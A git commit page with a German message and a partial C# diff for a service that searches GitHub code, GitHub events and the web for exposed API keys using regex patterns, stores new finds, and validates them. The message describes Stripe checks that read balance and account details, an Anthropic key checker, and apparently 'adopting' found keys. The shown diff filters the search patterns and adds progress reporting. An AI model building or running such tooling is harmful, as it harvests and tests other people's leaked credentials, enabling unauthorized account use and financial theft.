feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking

Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung

Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter
This commit is contained in:
Meleki committed 2026-03-14 16:19:13 +01:00
1 parent 3cd35ebbfa
commit e61f3ef082
15 files changed
+642 -33

No files matched your search

+26 -12
View File
@@ -77,10 +77,20 @@ public class KeyScannerService : BackgroundService
// ── GitHub Search Config ──
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
private static readonly (string Pattern, string SearchTerm, string Type)[] SearchPatterns = KeyPatterns.ForCodeSearch;
// Alle Patterns für Regex-Matching im Dateiinhalt
private static readonly Regex[] AllCompiledPatterns = KeyPatterns.Compiled;
/// <summary>Gibt die aktiven Search-Patterns zurück, gefiltert nach ScannerKeyTypes-Setting.</summary>
private (string Pattern, string SearchTerm, string Type)[] GetActiveSearchPatterns()
{
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
if (allowed.Count == 0) return Array.Empty<(string, string, string)>();
return KeyPatterns.ForCodeSearch.Where(p => allowed.Contains(p.Type)).ToArray();
}
/// <summary>Prüft ob ein Key-Typ in den aktiven Scanner-Typen enthalten ist.</summary>
private bool IsKeyTypeAllowed(string type)
{
var allowed = new HashSet<string>(_settings.GetStringArray("ScannerKeyTypes"));
return allowed.Contains(type);
}
private static readonly string[] SearchLanguages =
{
@@ -229,10 +239,11 @@ public class KeyScannerService : BackgroundService
saveIdx++;
SetProgress("Speichere Keys", totalFound + " gefunden, prüfe Duplikate…", saveIdx, totalFound);
if (!seen.Add(key)) continue;
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyType = DetectKeyType(key);
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
continue;
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
@@ -300,8 +311,9 @@ public class KeyScannerService : BackgroundService
{
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var queries = new List<(string Query, Regex Regex)>();
var activePatterns = GetActiveSearchPatterns();
foreach (var (pattern, searchTerm, _) in SearchPatterns)
foreach (var (pattern, searchTerm, _) in activePatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in QuickLanguages)
@@ -493,10 +505,11 @@ public class KeyScannerService : BackgroundService
return keys;
}
private static List<(string Query, Regex Regex)> BuildSearchQueries()
private List<(string Query, Regex Regex)> BuildSearchQueries()
{
var queries = new List<(string, Regex)>();
foreach (var (pattern, searchTerm, _) in SearchPatterns)
var activePatterns = GetActiveSearchPatterns();
foreach (var (pattern, searchTerm, _) in activePatterns)
{
var regex = new Regex(pattern, RegexOptions.Compiled);
foreach (var lang in SearchLanguages)
@@ -525,12 +538,13 @@ public class KeyScannerService : BackgroundService
var allKeys = new Dictionary<string, string>(StringComparer.Ordinal);
var client = _httpFactory.CreateClient();
client.DefaultRequestHeaders.Add("X-API-KEY", _serperApiKey);
var activePatterns = GetActiveSearchPatterns();
for (int i = 0; i < SearchPatterns.Length; i++)
for (int i = 0; i < activePatterns.Length; i++)
{
var (pattern, searchTerm, _) = SearchPatterns[i];
var (pattern, searchTerm, _) = activePatterns[i];
ct.ThrowIfCancellationRequested();
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, SearchPatterns.Length);
SetProgress("Web-Suche (Serper)", searchTerm, i + 1, activePatterns.Length);
var regex = new Regex(pattern, RegexOptions.Compiled);
try